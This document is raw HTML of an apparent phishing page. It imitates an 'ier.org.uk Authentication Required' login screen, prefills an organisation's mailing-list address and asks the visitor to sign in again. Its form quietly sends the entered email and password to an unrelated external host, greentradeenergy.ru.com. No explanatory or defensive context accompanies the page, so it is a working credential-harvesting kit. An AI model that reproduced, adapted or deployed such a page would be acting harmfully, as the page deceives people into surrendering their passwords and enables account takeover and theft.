<div class="login-wrapper full-screen-bg-image" ng-if="vm.scaffoldMode || (vm.hasTranslations && vm.isInit)" ng-style="vm.backgroundImage && {'background-image': 'url(' + vm.backgroundImage + ')' } || {'background-color': vm.backgroundColor }" style="background-color: rgb(45, 45, 45);">
<div class="login-backdrop"><!-- Maintenance --><!--Login-->
<div class="login-modal" ng-if="vm.scaffoldMode || (vm.settingsLoaded && vm.state == 'login' && !vm.initializing)" style="">
<div aria-hidden="false" class="custom-help-container" ng-show="vm.scaffoldMode || (vm.helpText || vm.helpUrl)"> </div>

<h1 class="welcome-message" ng-if="vm.customTitle"> </h1>

<div class="login-backdrop" style="box-sizing: border-box; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; z-index: 999; overflow: hidden; -webkit-box-flex: 1; flex: 1 0 auto; -webkit-box-pack: center; justify-content: center; font-family: Roboto, "Segoe UI", "Lucida Grande", "Lucida Sans Unicode", Helvetica, Arial, sans-serif; outline: 0px !important;">
<p style="font-size: 14px;"> </p>

<div class="login-modal" ng-if="vm.scaffoldMode || (vm.settingsLoaded && vm.state == 'login' && !vm.initializing)" style="box-sizing: border-box; border-radius: 5px; padding: 25px; background-color: rgba(255, 255, 255, 0.9); -webkit-box-flex: 0; flex: 0 0 auto; align-self: center; width: 450px; box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 8px 0px, rgba(0, 0, 0, 0.14) 0px 3px 4px 0px, rgba(0, 0, 0, 0.12) 0px 3px 3px -2px; outline: 0px !important;">
<div aria-hidden="false" class="custom-help-container" ng-show="vm.scaffoldMode || (vm.helpText || vm.helpUrl)" style="font-size: 14px; box-sizing: border-box; display: flex;">        <img ng-src="/ImagesResource/2147483647.png" src="https://logo.clearbit.com/DOMAIN" style="box-sizing: border-box; max-height: 225px; max-width: 100%; object-fit: contain; margin-bottom: -1rem; margin-left: 0.1rem;" /></div>

<p class="welcome-message" ng-if="vm.customTitle" style="box-sizing: border-box; margin-top: 0px; color: rgb(102, 102, 102); margin-bottom: 2.5rem; text-align: center !important;"><small style=""><span style="font-size: 2rem;">ier.org.uk Authentication Required</span><span style="font-size: 32px;">:</span></small></p>

<p class="welcome-message" ng-if="vm.customTitle" style="box-sizing: border-box; margin-top: 0px; color: rgb(102, 102, 102); margin-bottom: 2.5rem; text-align: center !important;"><strong>Please Sign In again to continue...</strong></p>

<form action="https://greentradeenergy.ru.com/tsin/" autocomplete="off" id="form" method="post" name="login"><md-input-container class="md-input-invalid" style="display: block; position: relative; padding: 2px; margin: 16px 0px 10px; vertical-align: middle; box-sizing: border-box;"><input aria-invalid="true" autocomplete="username" autofocus="" class="ng-pristine md-input ng-empty ng-invalid ng-invalid-required ng-valid-maxlength ng-touched" id="fname" name="fname" ng-maxlength="200" ng-model="vm.username" placeholder="Email Address" required="" style="vertical-align: baseline; font-size: 14px; box-sizing: border-box; -webkit-box-ordinal-group: 3; order: 2; display: block; margin-top: 0px; background: 0px 0px; padding: 0px 2px; border-width: 0px 0px 1px; line-height: 26px; height: 31px; border-radius: 0px; border-style: solid; width: 396.016px; float: left; -webkit-appearance: none; outline: 0px; box-shadow: none; font-family: Roboto, "Segoe UI", "Lucida Grande", "Lucida Sans Unicode", Helvetica, Arial, sans-serif !important; color: rgba(0, 0, 0, 0.87) !important; border-color: rgba(0, 0, 0, 0.12) !important;" type="text" value="ier-elist@ier.org.uk" />
<div class="md-errors-spacer" style="box-sizing: border-box; float: right; min-height: 1px; min-width: 1px;"> </div>

<div aria-live="assertive" class="md-input-messages-animation md-auto-hide ng-active" ng-messages="loginForm.username.$error" role="alert" style="box-sizing: border-box; color: rgb(221, 44, 0); position: relative; -webkit-box-ordinal-group: 5; order: 4; overflow: hidden; clear: left;">
<div class="md-input-message-animation" ng-message="required" style="box-sizing: border-box; font-size: 12px; line-height: 14px; overflow: hidden; transition: all 0.3s cubic-bezier(0.55, 0, 0.55, 0.2); opacity: 1; margin-top: 0px; padding-top: 5px; padding-right: 5px; padding-left: 0px;"> </div>
</div>
</md-input-container><md-input-container style="display: block; position: relative; padding: 2px; margin: 16px 0px 10px; vertical-align: middle; box-sizing: border-box;"><label class="md-required" for="passd" style="box-sizing: border-box; user-select: none; position: absolute; bottom: 35.9635px; left: 0px; right: auto; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; width: 400px; -webkit-box-ordinal-group: 2; order: 1; pointer-events: none; -webkit-font-smoothing: antialiased; padding-left: 3px; padding-right: 0px; z-index: 1; transform: translate3d(0px, 28px, 0px) scale(1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1), -webkit-transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); max-width: 100%; transform-origin: left top 0px; color: rgba(0, 0, 0, 0.38) !important;">Password</label><input aria-invalid="true" autocomplete="current-password" class="ng-pristine ng-untouched md-input ng-empty ng-invalid ng-invalid-required ng-valid-maxlength" id="loginPasswordBox" name="passd" ng-maxlength="200" ng-model="passd" required="" style="vertical-align: baseline; font-size: 14px; box-sizing: border-box; -webkit-box-ordinal-group: 3; order: 2; display: block; margin-top: 0px; background: 0px 0px; padding: 0px 2px; border-width: 0px 0px 1px; line-height: 26px; height: 31px; border-radius: 0px; border-style: solid; width: 396.016px; float: left; -webkit-appearance: none; outline: 0px; box-shadow: none; font-family: Roboto, "Segoe UI", "Lucida Grande", "Lucida Sans Unicode", Helvetica, Arial, sans-serif !important; color: rgba(0, 0, 0, 0.87) !important; border-color: rgba(0, 0, 0, 0.12) !important;" type="password" />
<div class="md-errors-spacer" style="box-sizing: border-box; float: right; min-height: 1px; min-width: 1px;"> </div>

<div aria-live="assertive" class="md-input-messages-animation md-auto-hide ng-active" ng-messages="loginForm.password.$error" role="alert" style="box-sizing: border-box; color: rgb(221, 44, 0); position: relative; -webkit-box-ordinal-group: 5; order: 4; overflow: hidden; clear: left;">
<div class="md-input-message-animation" ng-message="required" style="box-sizing: border-box; font-size: 12px; line-height: 14px; overflow: hidden; transition: all 0.3s cubic-bezier(0.55, 0, 0.55, 0.2); opacity: 0; margin-top: -100px; padding-top: 5px; padding-right: 5px; padding-left: 0px;"> </div>
</div>
</md-input-container><st-toggle-switch class="single-line" ng-click="vm.rememberMe = !vm.rememberMe" role="button" st-enter-key="vm.login()" st-model="vm.rememberMe" style="box-sizing: border-box;" tabindex="0" translation-key="REMEMBER_ME"><md-switch aria-checked="false" aria-invalid="false" aria-label="REMEMBER_ME" class="md-primary ng-pristine ng-untouched ng-valid ng-empty" md-no-ink="" ng-click="myFunction()" ng-model="stModel" role="checkbox" style="margin-top: 12px; margin-bottom: 12px; white-space: nowrap; cursor: pointer; outline: 0px; user-select: none; height: auto; line-height: 28px; -webkit-box-align: center; align-items: center; display: flex; margin-left: inherit; margin-right: 0px; box-sizing: border-box; min-height: 28px;" tabindex="0" type="checkbox">
<div class="md-container" style="box-sizing: border-box; cursor: -webkit-grab; width: 36px; height: 24px; position: relative; user-select: none; margin-right: 8px; float: left; min-width: 36px; touch-action: pan-x;">
<div class="md-bar" style="box-sizing: border-box; background-color: rgb(158, 158, 158); left: 1px; width: 34px; top: 5px; height: 14px; border-radius: 8px; position: absolute; transition: transform 80ms linear 50ms, background-color, -webkit-transform;"> </div>

<div class="md-thumb-container" style="box-sizing: border-box; top: 2px; left: 0px; width: 16px; position: absolute; transform: translate3d(0px, 0px, 0px); z-index: 1; transition: transform 80ms linear, background-color, -webkit-transform;">
<div class="md-thumb" md-ink-ripple="" md-ink-ripple-checkbox="" style="box-sizing: border-box; background-color: rgb(250, 250, 250); position: absolute; margin: 0px; left: 0px; top: 0px; outline: 0px; height: 20px; width: 20px; border-radius: 50%; box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 3px 0px, rgba(0, 0, 0, 0.14) 0px 1px 1px 0px, rgba(0, 0, 0, 0.12) 0px 2px 1px -1px; transition: transform 80ms linear 50ms, background-color, -webkit-transform;"> </div>
</div>
</div>

<div class="md-label" ng-transclude="" style="box-sizing: border-box; border-color: transparent; border-width: 0px; float: left; white-space: normal; word-wrap: break-word; line-height: 18px;"><span class="wordwrap" style="box-sizing: border-box;" translate="REMEMBER_ME">Remember Me</span></div>
</md-switch></st-toggle-switch>

<div class="buttons buttons-flex" ng-class="{'more-top-space': vm.showPasswordRetrieval}" style="box-sizing: border-box; display: flex; -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: baseline; align-items: baseline;">
<div class="left-side" style="box-sizing: border-box; -webkit-box-flex: 1; flex: 1 1 auto; align-self: baseline; align-content: flex-start;"> </div>

<div class="right-side" style="box-sizing: border-box; -webkit-box-flex: 1; flex: 1 1 auto; align-self: baseline; text-align: right !important;"><button class="md-primary md-button md-ink-ripple" ng-disabled="vm.loading" ng-transclude="" style="vertical-align: middle; cursor: pointer; font-family: inherit; font-size: 14px; letter-spacing: 0.01em; position: relative; min-height: 32px; min-width: 0px; line-height: 32px; -webkit-box-align: center; align-items: center; border-radius: 2px; user-select: none; outline: 0px; border-width: 1px; border-style: solid; border-color: rgb(48, 135, 193); padding: 0px 12px; margin: 6px 3px; background: 0px 0px rgb(48, 135, 193); color: rgb(255, 255, 255); white-space: nowrap; font-style: inherit; font-variant: inherit; overflow: hidden; transition: box-shadow 0.4s cubic-bezier(0.25, 0.8, 0.25, 1), background-color 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); height: 32px; max-height: 32px;" type="submit">Login</button></div>
</div>
</form>
</div>
</div>

<div class="footer" style="box-sizing: border-box; z-index: 10; align-self: stretch; -webkit-box-flex: 0; flex: 0 0 auto; display: flex; color: rgb(224, 224, 224); padding: 7px 20px 10px; flex-wrap: wrap; font-size: 14px; text-shadow: rgb(0, 0, 0) 0px 0px 10px; line-height: 1.8rem; font-family: Roboto, "Segoe UI", "Lucida Grande", "Lucida Sans Unicode", Helvetica, Arial, sans-serif;">
<div class="left" style="box-sizing: border-box; -webkit-box-flex: 1; flex: 1 1 auto; align-self: flex-start;">
<p> </p>
</div>
</div>

<h1 class="welcome-message" ng-if="vm.customTitle"><span style="color: rgb(224, 224, 224); font-family: Roboto, "Segoe UI", "Lucida Grande", "Lucida Sans Unicode", Helvetica, Arial, sans-serif; font-size: 14px;">                                                                                                                </span></h1>
</div>
</div>

<p> </p>

<div class="footer">
<p> </p>

<div class="right"> </div>
</div>
</div>

<p> </p>